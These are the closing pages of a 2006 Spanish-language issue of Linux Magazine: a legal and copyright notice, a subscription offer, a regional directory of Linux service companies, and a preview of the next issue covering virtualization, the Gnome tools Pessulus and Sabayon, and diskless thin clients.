Si bien se toman todas las medidas posibles para garantizar la precisión del contenido de los artículos publicados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en la revista. Asimismo, Linux Magazine no comparte necesariamente las opiniones vertidas por sus colaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupulosamente para confirmar que está libre de virus y errores. Copyright y Marcas Registradas © 2006 Linux New Media Spain, S.L. Linux New Media Spain S.L. prohíbe la reproducción total o parcial de los contenidos de Linux Magazine sin su permiso previo y por escrito. Linux es una Marca Registrada de Linus Torvalds. Impreso en Alemania Impresión: Dierichs Druck + Media GmbH Distribución: SGEL Depósito Legal: MA-116-2005 ISSN edición impresa: 1576-4079 ISSN edición online: 1699-2237
Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!
A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovará automáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no se requiere que hagas nada para seguir suscrito.
¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domicilio cada mes.
Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el precio de todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.
Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre. Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.
LINUX LOCAL
LINUX LOCAL Leyenda inux Local es el directorio de servicios y empresas de Linux cerca de ti. ¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuentra quién ofrece qué y dónde. El directorio se divide en regiones autónomas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Utiliza la leyenda de la derecha para encontrar la empresa que ofrece el servicio que precises. Linux Local es tu guía de servicios Linux.
L
1.- Hardware 2.- Software / Desarollo 3.- Formación 4.- Soporte / Consultoría 5.- Servidores 6.- Redes 7.- Migración 8.- Hospedaje
Andalucía Logo
Empresa
Correo-e
Web
1
2 3 4 5 6
Gesinfo
info@gesinfoweb.com
www.gesinfoweb.com
BitRock
info@bitrock.com
bitrock.com
Properly Software
info@properly.es
www.properly.es/site
GuadaGames
vicentecarro@guadagames.com
www.guadagames.com
Virtua
comercial@virtua.es
www.virtua.es
Empresa
Correo-e
Web
IWS
iws@iws.es
www.iws.es
Empresa
Correo-e
Web
Mono::labs
contacte@monolabs.com
www.monolabs.com
Datum
info@datum.ws
www.datum.ws
Opentia
comercial@opentia.es
www.opentia.es
7 8
Cataluña Logo
1
2 3 4 5 6
7 8
Madrid Logo
1
2 3 4 5 6
7 8
¿Por qué no está su empresa en este directorio? LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes. Si tiene servicios o productos Linux que ofrecer ¡Llámenos! Tlf.: +34 951 010 556 Fax: +34 951 010 516 info@linux-magazine.es
WWW.LINUX- MAGAZINE.ES
Número 21
97
PRÓXIMO NÚMERO
Diciembre 2006: Número 22
PRÓXIMO NÚMERO VIRTUALIZACIÓN El milagro de la virtualización permite una mayor protección y estabilidad al separar el entorno de ejecución del sistema base subyacente. El mes que viene te traemos un estudio práctico sobre la virtualización que permitirá decidirte si era ésta la tecnología que andabas buscando. Comenzaremos nuestra andadura con un artículo sobre el funcionamiento de Xen, el más popular de los monitores de máquinas virtuales, y aprovecharemos para mostrar de lo que es capaz su última versión. Veremos VServer, que suministra virtualización con un impacto mínimo en el rendimiento del sistema huésped. Finalmente sometemos VMware ESX Server al escrutinio de dos veteranos y exigentes administradores de sistemas: Charly Kühnast y Jürgen Backes. ¿Estará el software a la altura de sus expectativas? Si deseas ponerte al día en lo que puede hacer la tecnología de la virtualización, no te pierdas Linux Magazine 23.
PESSULUS Y SABAYON
THIN CLIENTS
Si precisas restringir los permisos de los usuarios en un entorno multiusuario, conviene que veas lo que pueden ofrecerte tanto Pessulus y Sabayon, dos nuevos componentes del escritorio Gnome. Estas herramientas te permitirán perfilar más detallada y limpiamente la seguridad y la propiedad de los recursos a un coste cercano a cero. Te enseñamos cómo los administradores de sistemas profesionales utilizan estos dos componentes.
A pesar de lo que pudiera parecer, no son necesarios Samba ni NFS para soportar clientes sin disco. Un dispositivo de bloques remoto permite mejorar el rendimiento, acelerar el acceso y maximizar la eficiencia más allá que ninnguna otra solución. Dirk Von Suchodoletz y Thorsten Zitterell nos mostrarán cómo se las ingeniaron con esta poco explotada y sorprendente técnica en un centro TIC de la Universidad de Friburgo.
A LA VENTA: DICIEMBRE 2006 98
Número 22
WWW.LINUX- MAGAZINE.ES